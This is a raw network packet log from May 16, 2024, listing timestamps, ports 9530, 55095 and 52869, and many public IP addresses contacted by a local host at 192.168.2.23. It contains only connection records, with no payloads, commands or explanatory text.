May 16, 2024 16:38:48.930334091 CEST	9530	55095	43.159.155.127	192.168.2.23
May 16, 2024 16:38:48.930342913 CEST	9530	55095	176.69.228.245	192.168.2.23
May 16, 2024 16:38:48.930349112 CEST	55095	9530	192.168.2.23	76.35.153.2
May 16, 2024 16:38:48.930355072 CEST	9530	55095	91.90.2.54	192.168.2.23
May 16, 2024 16:38:48.930357933 CEST	55095	9530	192.168.2.23	208.155.77.19
May 16, 2024 16:38:48.930357933 CEST	55095	9530	192.168.2.23	156.157.243.44
May 16, 2024 16:38:48.930361032 CEST	55095	9530	192.168.2.23	81.18.233.206
May 16, 2024 16:38:48.930363894 CEST	9530	55095	217.84.100.102	192.168.2.23
May 16, 2024 16:38:48.930373907 CEST	9530	55095	182.182.136.1	192.168.2.23
May 16, 2024 16:38:48.930373907 CEST	55095	9530	192.168.2.23	85.250.149.203
May 16, 2024 16:38:48.930377960 CEST	9530	55095	223.255.181.65	192.168.2.23
May 16, 2024 16:38:48.930377960 CEST	55095	9530	192.168.2.23	43.159.155.127
May 16, 2024 16:38:48.930380106 CEST	55095	9530	192.168.2.23	176.69.228.245
May 16, 2024 16:38:48.930382013 CEST	9530	55095	57.71.107.183	192.168.2.23
May 16, 2024 16:38:48.930386066 CEST	9530	55095	216.34.174.63	192.168.2.23
May 16, 2024 16:38:48.930413008 CEST	55095	9530	192.168.2.23	91.90.2.54
May 16, 2024 16:38:48.930429935 CEST	55095	9530	192.168.2.23	182.182.136.1
May 16, 2024 16:38:48.930433989 CEST	55095	9530	192.168.2.23	223.255.181.65
May 16, 2024 16:38:48.930465937 CEST	55095	9530	192.168.2.23	217.84.100.102
May 16, 2024 16:38:48.930465937 CEST	55095	9530	192.168.2.23	57.71.107.183
May 16, 2024 16:38:48.930506945 CEST	55095	9530	192.168.2.23	216.34.174.63
May 16, 2024 16:38:48.934129000 CEST	9530	55095	109.16.198.150	192.168.2.23
May 16, 2024 16:38:48.934140921 CEST	9530	55095	24.160.192.46	192.168.2.23
May 16, 2024 16:38:48.934149981 CEST	9530	55095	168.86.73.239	192.168.2.23
May 16, 2024 16:38:48.934159040 CEST	9530	55095	121.99.32.27	192.168.2.23
May 16, 2024 16:38:48.934166908 CEST	9530	55095	9.224.196.61	192.168.2.23
May 16, 2024 16:38:48.934176922 CEST	9530	55095	39.223.250.153	192.168.2.23
May 16, 2024 16:38:48.934185982 CEST	9530	55095	199.252.211.198	192.168.2.23
May 16, 2024 16:38:48.934197903 CEST	9530	55095	72.37.254.90	192.168.2.23
May 16, 2024 16:38:48.934207916 CEST	9530	55095	141.57.32.109	192.168.2.23
May 16, 2024 16:38:48.934221029 CEST	9530	55095	74.132.51.50	192.168.2.23
May 16, 2024 16:38:48.934221029 CEST	55095	9530	192.168.2.23	24.160.192.46
May 16, 2024 16:38:48.934227943 CEST	55095	9530	192.168.2.23	39.223.250.153
May 16, 2024 16:38:48.934231043 CEST	9530	55095	161.108.1.220	192.168.2.23
May 16, 2024 16:38:48.934228897 CEST	55095	9530	192.168.2.23	199.252.211.198
May 16, 2024 16:38:48.934241056 CEST	9530	55095	136.132.147.205	192.168.2.23
May 16, 2024 16:38:48.934252024 CEST	9530	55095	1.137.44.221	192.168.2.23
May 16, 2024 16:38:48.934256077 CEST	55095	9530	192.168.2.23	168.86.73.239
May 16, 2024 16:38:48.934257984 CEST	55095	9530	192.168.2.23	121.99.32.27
May 16, 2024 16:38:48.934259892 CEST	9530	55095	50.49.174.25	192.168.2.23
May 16, 2024 16:38:48.934264898 CEST	9530	55095	75.120.145.79	192.168.2.23
May 16, 2024 16:38:48.934268951 CEST	9530	55095	83.87.22.170	192.168.2.23
May 16, 2024 16:38:48.934273958 CEST	55095	9530	192.168.2.23	161.108.1.220
May 16, 2024 16:38:48.934276104 CEST	9530	55095	123.232.205.113	192.168.2.23
May 16, 2024 16:38:48.934278965 CEST	55095	9530	192.168.2.23	74.132.51.50
May 16, 2024 16:38:48.934281111 CEST	55095	9530	192.168.2.23	72.37.254.90
May 16, 2024 16:38:48.934281111 CEST	55095	9530	192.168.2.23	109.16.198.150
May 16, 2024 16:38:48.934281111 CEST	55095	9530	192.168.2.23	9.224.196.61
May 16, 2024 16:38:48.934281111 CEST	55095	9530	192.168.2.23	141.57.32.109
May 16, 2024 16:38:48.934283972 CEST	55095	9530	192.168.2.23	136.132.147.205
May 16, 2024 16:38:48.934284925 CEST	9530	55095	204.154.223.67	192.168.2.23
May 16, 2024 16:38:48.934288979 CEST	9530	55095	211.237.241.218	192.168.2.23
May 16, 2024 16:38:48.934290886 CEST	55095	9530	192.168.2.23	75.120.145.79
May 16, 2024 16:38:48.934292078 CEST	55095	9530	192.168.2.23	50.49.174.25
May 16, 2024 16:38:48.934293032 CEST	9530	55095	196.141.199.150	192.168.2.23
May 16, 2024 16:38:48.934297085 CEST	9530	55095	126.200.60.164	192.168.2.23
May 16, 2024 16:38:48.934298038 CEST	55095	9530	192.168.2.23	1.137.44.221
May 16, 2024 16:38:48.934300900 CEST	55095	9530	192.168.2.23	83.87.22.170
May 16, 2024 16:38:48.934300900 CEST	55095	9530	192.168.2.23	123.232.205.113
May 16, 2024 16:38:48.934308052 CEST	9530	55095	76.245.249.211	192.168.2.23
May 16, 2024 16:38:48.934318066 CEST	9530	55095	71.205.216.29	192.168.2.23
May 16, 2024 16:38:48.934319019 CEST	55095	9530	192.168.2.23	204.154.223.67
May 16, 2024 16:38:48.934319019 CEST	55095	9530	192.168.2.23	196.141.199.150
May 16, 2024 16:38:48.934320927 CEST	55095	9530	192.168.2.23	211.237.241.218
May 16, 2024 16:38:48.934324980 CEST	55095	9530	192.168.2.23	126.200.60.164
May 16, 2024 16:38:48.934324980 CEST	55095	9530	192.168.2.23	76.245.249.211
May 16, 2024 16:38:48.934329033 CEST	9530	55095	102.34.126.222	192.168.2.23
May 16, 2024 16:38:48.934340000 CEST	9530	55095	219.188.104.246	192.168.2.23
May 16, 2024 16:38:48.934349060 CEST	9530	55095	82.66.249.172	192.168.2.23
May 16, 2024 16:38:48.934354067 CEST	55095	9530	192.168.2.23	71.205.216.29
May 16, 2024 16:38:48.934354067 CEST	55095	9530	192.168.2.23	102.34.126.222
May 16, 2024 16:38:48.934356928 CEST	9530	55095	182.1.112.85	192.168.2.23
May 16, 2024 16:38:48.934371948 CEST	9530	55095	166.44.102.217	192.168.2.23
May 16, 2024 16:38:48.934379101 CEST	55095	9530	192.168.2.23	219.188.104.246
May 16, 2024 16:38:48.934379101 CEST	55095	9530	192.168.2.23	82.66.249.172
May 16, 2024 16:38:48.934381962 CEST	9530	55095	173.150.44.207	192.168.2.23
May 16, 2024 16:38:48.934391022 CEST	9530	55095	5.73.9.130	192.168.2.23
May 16, 2024 16:38:48.934396029 CEST	55095	9530	192.168.2.23	182.1.112.85
May 16, 2024 16:38:48.934400082 CEST	9530	55095	60.69.126.37	192.168.2.23
May 16, 2024 16:38:48.934407949 CEST	9530	55095	86.20.253.34	192.168.2.23
May 16, 2024 16:38:48.934418917 CEST	9530	55095	160.255.171.164	192.168.2.23
May 16, 2024 16:38:48.934421062 CEST	55095	9530	192.168.2.23	173.150.44.207
May 16, 2024 16:38:48.934423923 CEST	55095	9530	192.168.2.23	166.44.102.217
May 16, 2024 16:38:48.934423923 CEST	55095	9530	192.168.2.23	5.73.9.130
May 16, 2024 16:38:48.934428930 CEST	9530	55095	142.162.36.102	192.168.2.23
May 16, 2024 16:38:48.934437990 CEST	9530	55095	63.115.154.152	192.168.2.23
May 16, 2024 16:38:48.934447050 CEST	9530	55095	182.120.147.241	192.168.2.23
May 16, 2024 16:38:48.934454918 CEST	9530	55095	171.122.114.137	192.168.2.23
May 16, 2024 16:38:48.934465885 CEST	9530	55095	141.73.89.18	192.168.2.23
May 16, 2024 16:38:48.934474945 CEST	55095	9530	192.168.2.23	142.162.36.102
May 16, 2024 16:38:48.934475899 CEST	9530	55095	180.21.88.19	192.168.2.23
May 16, 2024 16:38:48.934475899 CEST	55095	9530	192.168.2.23	63.115.154.152
May 16, 2024 16:38:48.934475899 CEST	55095	9530	192.168.2.23	171.122.114.137
May 16, 2024 16:38:48.934477091 CEST	55095	9530	192.168.2.23	86.20.253.34
May 16, 2024 16:38:48.934477091 CEST	55095	9530	192.168.2.23	182.120.147.241
May 16, 2024 16:38:48.934484959 CEST	9530	55095	142.234.83.55	192.168.2.23
May 16, 2024 16:38:48.934489012 CEST	55095	9530	192.168.2.23	160.255.171.164
May 16, 2024 16:38:48.934492111 CEST	55095	9530	192.168.2.23	60.69.126.37
May 16, 2024 16:38:48.934494019 CEST	9530	55095	159.241.8.29	192.168.2.23
May 16, 2024 16:38:48.934497118 CEST	55095	9530	192.168.2.23	141.73.89.18
May 16, 2024 16:38:48.934501886 CEST	55095	9530	192.168.2.23	180.21.88.19
May 16, 2024 16:38:48.934521914 CEST	55095	9530	192.168.2.23	142.234.83.55
May 16, 2024 16:38:48.934529066 CEST	55095	9530	192.168.2.23	159.241.8.29
May 16, 2024 16:38:48.937115908 CEST	55506	52869	192.168.2.23	203.41.43.119
May 16, 2024 16:38:48.941934109 CEST	9530	55095	147.27.11.211	192.168.2.23
May 16, 2024 16:38:48.941946983 CEST	9530	55095	87.115.190.104	192.168.2.23
May 16, 2024 16:38:48.941955090 CEST	9530	55095	176.223.252.6	192.168.2.23
May 16, 2024 16:38:48.941963911 CEST	9530	55095	58.27.168.34	192.168.2.23
May 16, 2024 16:38:48.941972971 CEST	9530	55095	181.76.30.174	192.168.2.23
May 16, 2024 16:38:48.941981077 CEST	9530	55095	70.162.142.53	192.168.2.23
May 16, 2024 16:38:48.941988945 CEST	9530	55095	37.142.70.70	192.168.2.23
May 16, 2024 16:38:48.941998959 CEST	9530	55095	12.237.185.233	192.168.2.23
May 16, 2024 16:38:48.942008018 CEST	9530	55095	89.129.223.152	192.168.2.23
May 16, 2024 16:38:48.942012072 CEST	55095	9530	192.168.2.23	58.27.168.34
May 16, 2024 16:38:48.942017078 CEST	55095	9530	192.168.2.23	87.115.190.104
May 16, 2024 16:38:48.942018032 CEST	9530	55095	199.168.14.194	192.168.2.23
May 16, 2024 16:38:48.942018986 CEST	55095	9530	192.168.2.23	147.27.11.211
May 16, 2024 16:38:48.942018986 CEST	55095	9530	192.168.2.23	176.223.252.6
May 16, 2024 16:38:48.942028046 CEST	9530	55095	108.202.113.52	192.168.2.23
May 16, 2024 16:38:48.942035913 CEST	9530	55095	209.215.73.193	192.168.2.23
May 16, 2024 16:38:48.942042112 CEST	9530	55095	2.106.211.119	192.168.2.23
May 16, 2024 16:38:48.942044973 CEST	55095	9530	192.168.2.23	181.76.30.174
May 16, 2024 16:38:48.942044973 CEST	55095	9530	192.168.2.23	89.129.223.152
May 16, 2024 16:38:48.942044973 CEST	55095	9530	192.168.2.23	37.142.70.70
May 16, 2024 16:38:48.942047119 CEST	55095	9530	192.168.2.23	70.162.142.53
May 16, 2024 16:38:48.942054987 CEST	9530	55095	88.136.119.167	192.168.2.23
May 16, 2024 16:38:48.942064047 CEST	55095	9530	192.168.2.23	108.202.113.52
May 16, 2024 16:38:48.942064047 CEST	9530	55095	62.123.69.58	192.168.2.23
May 16, 2024 16:38:48.942065001 CEST	55095	9530	192.168.2.23	209.215.73.193
May 16, 2024 16:38:48.942073107 CEST	9530	55095	211.45.213.42	192.168.2.23
May 16, 2024 16:38:48.942080975 CEST	9530	55095	160.182.248.190	192.168.2.23
May 16, 2024 16:38:48.942085981 CEST	55095	9530	192.168.2.23	12.237.185.233
May 16, 2024 16:38:48.942085981 CEST	55095	9530	192.168.2.23	199.168.14.194
May 16, 2024 16:38:48.942085981 CEST	55095	9530	192.168.2.23	2.106.211.119
May 16, 2024 16:38:48.942090034 CEST	9530	55095	184.217.227.153	192.168.2.23
May 16, 2024 16:38:48.942096949 CEST	55095	9530	192.168.2.23	88.136.119.167
May 16, 2024 16:38:48.942097902 CEST	9530	55095	53.189.191.83	192.168.2.23
May 16, 2024 16:38:48.942096949 CEST	55095	9530	192.168.2.23	62.123.69.58
May 16, 2024 16:38:48.942102909 CEST	55095	9530	192.168.2.23	211.45.213.42
May 16, 2024 16:38:48.942107916 CEST	9530	55095	81.213.75.77	192.168.2.23
May 16, 2024 16:38:48.942116976 CEST	9530	55095	114.8.168.111	192.168.2.23
May 16, 2024 16:38:48.942118883 CEST	55095	9530	192.168.2.23	53.189.191.83
May 16, 2024 16:38:48.942121983 CEST	55095	9530	192.168.2.23	160.182.248.190
May 16, 2024 16:38:48.942126989 CEST	9530	55095	45.94.131.6	192.168.2.23
May 16, 2024 16:38:48.942142010 CEST	9530	55095	138.152.37.225	192.168.2.23
May 16, 2024 16:38:48.942153931 CEST	9530	55095	118.43.39.61	192.168.2.23
May 16, 2024 16:38:48.942163944 CEST	55095	9530	192.168.2.23	81.213.75.77
May 16, 2024 16:38:48.942164898 CEST	9530	55095	212.231.161.126	192.168.2.23
May 16, 2024 16:38:48.942166090 CEST	55095	9530	192.168.2.23	114.8.168.111
May 16, 2024 16:38:48.942172050 CEST	55095	9530	192.168.2.23	138.152.37.225
May 16, 2024 16:38:48.942173004 CEST	55095	9530	192.168.2.23	45.94.131.6
May 16, 2024 16:38:48.942174911 CEST	9530	55095	145.189.185.236	192.168.2.23
May 16, 2024 16:38:48.942186117 CEST	55095	9530	192.168.2.23	118.43.39.61
May 16, 2024 16:38:48.942188025 CEST	9530	55095	40.5.114.192	192.168.2.23
May 16, 2024 16:38:48.942193985 CEST	55095	9530	192.168.2.23	184.217.227.153
May 16, 2024 16:38:48.942194939 CEST	9530	55095	206.11.4.42	192.168.2.23
May 16, 2024 16:38:48.942198038 CEST	55095	9530	192.168.2.23	212.231.161.126
May 16, 2024 16:38:48.942208052 CEST	9530	55095	182.79.237.159	192.168.2.23
May 16, 2024 16:38:48.942219019 CEST	9530	55095	205.217.143.76	192.168.2.23
May 16, 2024 16:38:48.942220926 CEST	55095	9530	192.168.2.23	40.5.114.192
May 16, 2024 16:38:48.942228079 CEST	9530	55095	78.101.252.203	192.168.2.23
May 16, 2024 16:38:48.942231894 CEST	55095	9530	192.168.2.23	145.189.185.236
May 16, 2024 16:38:48.942231894 CEST	55095	9530	192.168.2.23	206.11.4.42
May 16, 2024 16:38:48.942236900 CEST	9530	55095	174.70.218.178	192.168.2.23
May 16, 2024 16:38:48.942245960 CEST	9530	55095	209.235.193.65	192.168.2.23
May 16, 2024 16:38:48.942253113 CEST	55095	9530	192.168.2.23	182.79.237.159
May 16, 2024 16:38:48.942253113 CEST	55095	9530	192.168.2.23	205.217.143.76
May 16, 2024 16:38:48.942254066 CEST	55095	9530	192.168.2.23	78.101.252.203
May 16, 2024 16:38:48.942255020 CEST	9530	55095	149.146.213.152	192.168.2.23
May 16, 2024 16:38:48.942265034 CEST	9530	55095	25.40.150.238	192.168.2.23
May 16, 2024 16:38:48.942269087 CEST	55095	9530	192.168.2.23	174.70.218.178
May 16, 2024 16:38:48.942272902 CEST	9530	55095	116.64.3.98	192.168.2.23
May 16, 2024 16:38:48.942281961 CEST	55095	9530	192.168.2.23	209.235.193.65
May 16, 2024 16:38:48.942281961 CEST	55095	9530	192.168.2.23	149.146.213.152
May 16, 2024 16:38:48.942290068 CEST	55095	9530	192.168.2.23	25.40.150.238
May 16, 2024 16:38:48.942290068 CEST	9530	55095	185.182.170.39	192.168.2.23
May 16, 2024 16:38:48.942300081 CEST	9530	55095	108.56.205.3	192.168.2.23
May 16, 2024 16:38:48.942303896 CEST	9530	55095	176.144.63.166	192.168.2.23
May 16, 2024 16:38:48.942306995 CEST	9530	55095	146.2.202.33	192.168.2.23
May 16, 2024 16:38:48.942317963 CEST	9530	55095	92.196.239.49	192.168.2.23
May 16, 2024 16:38:48.942318916 CEST	55095	9530	192.168.2.23	116.64.3.98
May 16, 2024 16:38:48.942328930 CEST	55095	9530	192.168.2.23	108.56.205.3
May 16, 2024 16:38:48.942333937 CEST	55095	9530	192.168.2.23	146.2.202.33
May 16, 2024 16:38:48.942336082 CEST	55095	9530	192.168.2.23	185.182.170.39
May 16, 2024 16:38:48.942336082 CEST	55095	9530	192.168.2.23	176.144.63.166
May 16, 2024 16:38:48.942337036 CEST	55095	9530	192.168.2.23	92.196.239.49
May 16, 2024 16:38:48.949193001 CEST	45944	52869	192.168.2.23	163.32.182.167
May 16, 2024 16:38:48.949776888 CEST	9530	55095	44.177.246.84	192.168.2.23
May 16, 2024 16:38:48.949789047 CEST	9530	55095	135.175.89.85	192.168.2.23
May 16, 2024 16:38:48.949799061 CEST	9530	55095	195.178.96.205	192.168.2.23
May 16, 2024 16:38:48.949807882 CEST	9530	55095	110.49.107.159	192.168.2.23
May 16, 2024 16:38:48.949817896 CEST	9530	55095	205.112.94.135	192.168.2.23
May 16, 2024 16:38:48.949826002 CEST	9530	55095	98.5.75.118	192.168.2.23
May 16, 2024 16:38:48.949834108 CEST	55095	9530	192.168.2.23	44.177.246.84
May 16, 2024 16:38:48.949834108 CEST	55095	9530	192.168.2.23	135.175.89.85
May 16, 2024 16:38:48.949835062 CEST	9530	55095	136.65.199.208	192.168.2.23
May 16, 2024 16:38:48.949836016 CEST	55095	9530	192.168.2.23	110.49.107.159
May 16, 2024 16:38:48.949836969 CEST	55095	9530	192.168.2.23	195.178.96.205
May 16, 2024 16:38:48.949836969 CEST	55095	9530	192.168.2.23	205.112.94.135
May 16, 2024 16:38:48.949845076 CEST	9530	55095	148.89.205.216	192.168.2.23
May 16, 2024 16:38:48.949853897 CEST	9530	55095	192.151.143.12	192.168.2.23
May 16, 2024 16:38:48.949856043 CEST	55095	9530	192.168.2.23	136.65.199.208
May 16, 2024 16:38:48.949861050 CEST	55095	9530	192.168.2.23	98.5.75.118
May 16, 2024 16:38:48.949867964 CEST	9530	55095	173.232.237.77	192.168.2.23
May 16, 2024 16:38:48.949872017 CEST	55095	9530	192.168.2.23	148.89.205.216
May 16, 2024 16:38:48.949877977 CEST	9530	55095	38.167.192.60	192.168.2.23
May 16, 2024 16:38:48.949884892 CEST	55095	9530	192.168.2.23	192.151.143.12
May 16, 2024 16:38:48.949887991 CEST	9530	55095	89.214.245.173	192.168.2.23
May 16, 2024 16:38:48.949898958 CEST	9530	55095	64.55.163.240	192.168.2.23
May 16, 2024 16:38:48.949902058 CEST	55095	9530	192.168.2.23	38.167.192.60
May 16, 2024 16:38:48.949903011 CEST	55095	9530	192.168.2.23	173.232.237.77
May 16, 2024 16:38:48.949908018 CEST	9530	55095	88.147.6.84	192.168.2.23
May 16, 2024 16:38:48.949920893 CEST	9530	55095	75.202.41.40	192.168.2.23
May 16, 2024 16:38:48.949922085 CEST	55095	9530	192.168.2.23	89.214.245.173
May 16, 2024 16:38:48.949923038 CEST	55095	9530	192.168.2.23	64.55.163.240
May 16, 2024 16:38:48.949928999 CEST	9530	55095	166.153.111.251	192.168.2.23
May 16, 2024 16:38:48.949940920 CEST	9530	55095	222.80.174.208	192.168.2.23
May 16, 2024 16:38:48.949943066 CEST	55095	9530	192.168.2.23	88.147.6.84
May 16, 2024 16:38:48.949949026 CEST	55095	9530	192.168.2.23	75.202.41.40
May 16, 2024 16:38:48.949949980 CEST	9530	55095	132.220.144.4	192.168.2.23
May 16, 2024 16:38:48.949959040 CEST	9530	55095	111.35.162.73	192.168.2.23
May 16, 2024 16:38:48.949965954 CEST	55095	9530	192.168.2.23	166.153.111.251
May 16, 2024 16:38:48.949965954 CEST	55095	9530	192.168.2.23	222.80.174.208
May 16, 2024 16:38:48.949968100 CEST	9530	55095	78.127.152.36	192.168.2.23
May 16, 2024 16:38:48.949978113 CEST	9530	55095	8.53.178.211	192.168.2.23
May 16, 2024 16:38:48.949992895 CEST	9530	55095	70.157.7.141	192.168.2.23
May 16, 2024 16:38:48.949992895 CEST	55095	9530	192.168.2.23	132.220.144.4
May 16, 2024 16:38:48.949992895 CEST	55095	9530	192.168.2.23	111.35.162.73
May 16, 2024 16:38:48.949992895 CEST	55095	9530	192.168.2.23	78.127.152.36
May 16, 2024 16:38:48.950001001 CEST	9530	55095	13.23.23.249	192.168.2.23
May 16, 2024 16:38:48.950010061 CEST	9530	55095	2.184.158.84	192.168.2.23
May 16, 2024 16:38:48.950016975 CEST	55095	9530	192.168.2.23	8.53.178.211
May 16, 2024 16:38:48.950021982 CEST	9530	55095	181.160.253.62	192.168.2.23
May 16, 2024 16:38:48.950025082 CEST	55095	9530	192.168.2.23	70.157.7.141
May 16, 2024 16:38:48.950026035 CEST	55095	9530	192.168.2.23	13.23.23.249
May 16, 2024 16:38:48.950031042 CEST	9530	55095	110.254.178.185	192.168.2.23
May 16, 2024 16:38:48.950042009 CEST	55095	9530	192.168.2.23	2.184.158.84
May 16, 2024 16:38:48.950042963 CEST	9530	55095	223.69.208.135	192.168.2.23
May 16, 2024 16:38:48.950050116 CEST	55095	9530	192.168.2.23	181.160.253.62
May 16, 2024 16:38:48.950052977 CEST	9530	55095	78.182.66.7	192.168.2.23
May 16, 2024 16:38:48.950053930 CEST	55095	9530	192.168.2.23	110.254.178.185
May 16, 2024 16:38:48.950061083 CEST	9530	55095	192.146.112.1	192.168.2.23
May 16, 2024 16:38:48.950069904 CEST	9530	55095	151.213.234.103	192.168.2.23
May 16, 2024 16:38:48.950078964 CEST	9530	55095	125.226.249.229	192.168.2.23
May 16, 2024 16:38:48.950078964 CEST	55095	9530	192.168.2.23	223.69.208.135
May 16, 2024 16:38:48.950082064 CEST	9530	55095	96.235.9.180	192.168.2.23
May 16, 2024 16:38:48.950083017 CEST	55095	9530	192.168.2.23	78.182.66.7
May 16, 2024 16:38:48.950087070 CEST	9530	55095	138.176.110.209	192.168.2.23
May 16, 2024 16:38:48.950093985 CEST	55095	9530	192.168.2.23	192.146.112.1
May 16, 2024 16:38:48.950098038 CEST	9530	55095	1.238.9.25	192.168.2.23
May 16, 2024 16:38:48.950108051 CEST	9530	55095	63.170.156.171	192.168.2.23
May 16, 2024 16:38:48.950109959 CEST	55095	9530	192.168.2.23	138.176.110.209
May 16, 2024 16:38:48.950113058 CEST	55095	9530	192.168.2.23	151.213.234.103
May 16, 2024 16:38:48.950113058 CEST	55095	9530	192.168.2.23	96.235.9.180
May 16, 2024 16:38:48.950114012 CEST	55095	9530	192.168.2.23	125.226.249.229
May 16, 2024 16:38:48.950117111 CEST	9530	55095	60.172.80.221	192.168.2.23
May 16, 2024 16:38:48.950126886 CEST	9530	55095	152.102.34.84	192.168.2.23
May 16, 2024 16:38:48.950129032 CEST	55095	9530	192.168.2.23	63.170.156.171
May 16, 2024 16:38:48.950130939 CEST	55095	9530	192.168.2.23	1.238.9.25
May 16, 2024 16:38:48.950136900 CEST	9530	55095	57.120.134.44	192.168.2.23
May 16, 2024 16:38:48.950145960 CEST	9530	55095	74.23.200.187	192.168.2.23
May 16, 2024 16:38:48.950146914 CEST	55095	9530	192.168.2.23	60.172.80.221
May 16, 2024 16:38:48.950155020 CEST	9530	55095	99.251.35.63	192.168.2.23
May 16, 2024 16:38:48.950164080 CEST	55095	9530	192.168.2.23	152.102.34.84
May 16, 2024 16:38:48.950167894 CEST	55095	9530	192.168.2.23	57.120.134.44
May 16, 2024 16:38:48.950176001 CEST	55095	9530	192.168.2.23	74.23.200.187
May 16, 2024 16:38:48.950179100 CEST	55095	9530	192.168.2.23	99.251.35.63
May 16, 2024 16:38:48.951673031 CEST	37758	52869	192.168.2.23	212.31.178.117
May 16, 2024 16:38:48.951826096 CEST	43344	52869	192.168.2.23	186.36.32.96
May 16, 2024 16:38:48.953092098 CEST	54060	52869	192.168.2.23	22.237.152.155
May 16, 2024 16:38:48.954438925 CEST	50322	52869	192.168.2.23	32.101.154.179
May 16, 2024 16:38:48.956079006 CEST	56762	52869	192.168.2.23	217.121.249.104
May 16, 2024 16:38:48.957583904 CEST	9530	55095	52.15.209.2	192.168.2.23
May 16, 2024 16:38:48.957596064 CEST	9530	55095	48.35.214.223	192.168.2.23
May 16, 2024 16:38:48.957606077 CEST	9530	55095	152.231.252.6	192.168.2.23
May 16, 2024 16:38:48.957612038 CEST	55095	9530	192.168.2.23	52.15.209.2
May 16, 2024 16:38:48.957614899 CEST	9530	55095	169.161.142.64	192.168.2.23
May 16, 2024 16:38:48.957623005 CEST	9530	55095	165.37.155.26	192.168.2.23
May 16, 2024 16:38:48.957624912 CEST	55095	9530	192.168.2.23	48.35.214.223
May 16, 2024 16:38:48.957632065 CEST	55095	9530	192.168.2.23	152.231.252.6
May 16, 2024 16:38:48.957633018 CEST	9530	55095	148.143.25.69	192.168.2.23
May 16, 2024 16:38:48.957634926 CEST	55095	9530	192.168.2.23	169.161.142.64
May 16, 2024 16:38:48.957644939 CEST	9530	55095	96.91.245.246	192.168.2.23
May 16, 2024 16:38:48.957657099 CEST	9530	55095	107.201.64.198	192.168.2.23
May 16, 2024 16:38:48.957665920 CEST	9530	55095	145.122.126.20	192.168.2.23
May 16, 2024 16:38:48.957673073 CEST	55095	9530	192.168.2.23	165.37.155.26
May 16, 2024 16:38:48.957674980 CEST	9530	55095	91.55.113.238	192.168.2.23
May 16, 2024 16:38:48.957674980 CEST	55095	9530	192.168.2.23	96.91.245.246
May 16, 2024 16:38:48.957684040 CEST	9530	55095	80.124.36.240	192.168.2.23
May 16, 2024 16:38:48.957684040 CEST	55095	9530	192.168.2.23	148.143.25.69
May 16, 2024 16:38:48.957686901 CEST	55095	9530	192.168.2.23	107.201.64.198
May 16, 2024 16:38:48.957695007 CEST	9530	55095	125.97.238.41	192.168.2.23
May 16, 2024 16:38:48.957700968 CEST	55095	9530	192.168.2.23	145.122.126.20
May 16, 2024 16:38:48.957704067 CEST	9530	55095	58.86.32.16	192.168.2.23
May 16, 2024 16:38:48.957716942 CEST	55095	9530	192.168.2.23	80.124.36.240
May 16, 2024 16:38:48.957717896 CEST	9530	55095	148.194.118.37	192.168.2.23
May 16, 2024 16:38:48.957726955 CEST	9530	55095	63.59.84.52	192.168.2.23
May 16, 2024 16:38:48.957729101 CEST	55095	9530	192.168.2.23	125.97.238.41
May 16, 2024 16:38:48.957736969 CEST	9530	55095	175.178.207.174	192.168.2.23
May 16, 2024 16:38:48.957745075 CEST	55095	9530	192.168.2.23	91.55.113.238
May 16, 2024 16:38:48.957746029 CEST	9530	55095	153.102.162.6	192.168.2.23
May 16, 2024 16:38:48.957756042 CEST	9530	55095	8.184.34.116	192.168.2.23
May 16, 2024 16:38:48.957766056 CEST	9530	55095	210.152.194.222	192.168.2.23
May 16, 2024 16:38:48.957767963 CEST	55095	9530	192.168.2.23	63.59.84.52
May 16, 2024 16:38:48.957773924 CEST	55095	9530	192.168.2.23	148.194.118.37
May 16, 2024 16:38:48.957773924 CEST	55095	9530	192.168.2.23	175.178.207.174
May 16, 2024 16:38:48.957776070 CEST	9530	55095	118.100.61.55	192.168.2.23
May 16, 2024 16:38:48.957777023 CEST	55095	9530	192.168.2.23	58.86.32.16
May 16, 2024 16:38:48.957777023 CEST	55095	9530	192.168.2.23	8.184.34.116
May 16, 2024 16:38:48.957782030 CEST	55095	9530	192.168.2.23	153.102.162.6
May 16, 2024 16:38:48.957786083 CEST	9530	55095	120.156.47.147	192.168.2.23
May 16, 2024 16:38:48.957794905 CEST	9530	55095	159.251.207.141	192.168.2.23
May 16, 2024 16:38:48.957798004 CEST	55095	9530	192.168.2.23	210.152.194.222
May 16, 2024 16:38:48.957804918 CEST	9530	55095	116.44.171.242	192.168.2.23
May 16, 2024 16:38:48.957813978 CEST	55095	9530	192.168.2.23	120.156.47.147
May 16, 2024 16:38:48.957815886 CEST	9530	55095	194.246.220.130	192.168.2.23
May 16, 2024 16:38:48.957818031 CEST	55095	9530	192.168.2.23	118.100.61.55
May 16, 2024 16:38:48.957828045 CEST	9530	55095	177.89.4.88	192.168.2.23
May 16, 2024 16:38:48.957837105 CEST	9530	55095	157.124.156.132	192.168.2.23
May 16, 2024 16:38:48.957844973 CEST	9530	55095	195.143.253.131	192.168.2.23
May 16, 2024 16:38:48.957854033 CEST	55095	9530	192.168.2.23	159.251.207.141
May 16, 2024 16:38:48.957854986 CEST	9530	55095	206.37.133.212	192.168.2.23
May 16, 2024 16:38:48.957856894 CEST	55095	9530	192.168.2.23	116.44.171.242
May 16, 2024 16:38:48.957859039 CEST	55095	9530	192.168.2.23	194.246.220.130
May 16, 2024 16:38:48.957859993 CEST	9530	55095	183.31.143.82	192.168.2.23
May 16, 2024 16:38:48.957865000 CEST	9530	55095	97.185.141.126	192.168.2.23
May 16, 2024 16:38:48.957868099 CEST	9530	55095	113.64.182.179	192.168.2.23
May 16, 2024 16:38:48.957870960 CEST	55095	9530	192.168.2.23	177.89.4.88
May 16, 2024 16:38:48.957871914 CEST	9530	55095	144.34.70.33	192.168.2.23
May 16, 2024 16:38:48.957875967 CEST	9530	55095	57.185.94.194	192.168.2.23
May 16, 2024 16:38:48.957879066 CEST	9530	55095	131.202.27.9	192.168.2.23
May 16, 2024 16:38:48.957881927 CEST	9530	55095	25.138.226.144	192.168.2.23
May 16, 2024 16:38:48.957885027 CEST	9530	55095	99.202.89.134	192.168.2.23
May 16, 2024 16:38:48.957889080 CEST	9530	55095	12.169.211.84	192.168.2.23
May 16, 2024 16:38:48.957890034 CEST	55095	9530	192.168.2.23	157.124.156.132
May 16, 2024 16:38:48.957891941 CEST	9530	55095	136.69.246.23	192.168.2.23
May 16, 2024 16:38:48.957906961 CEST	9530	55095	89.120.163.65	192.168.2.23
May 16, 2024 16:38:48.957910061 CEST	55095	9530	192.168.2.23	206.37.133.212
May 16, 2024 16:38:48.957911015 CEST	9530	55095	19.67.47.11	192.168.2.23
May 16, 2024 16:38:48.957915068 CEST	9530	55095	64.184.195.145	192.168.2.23
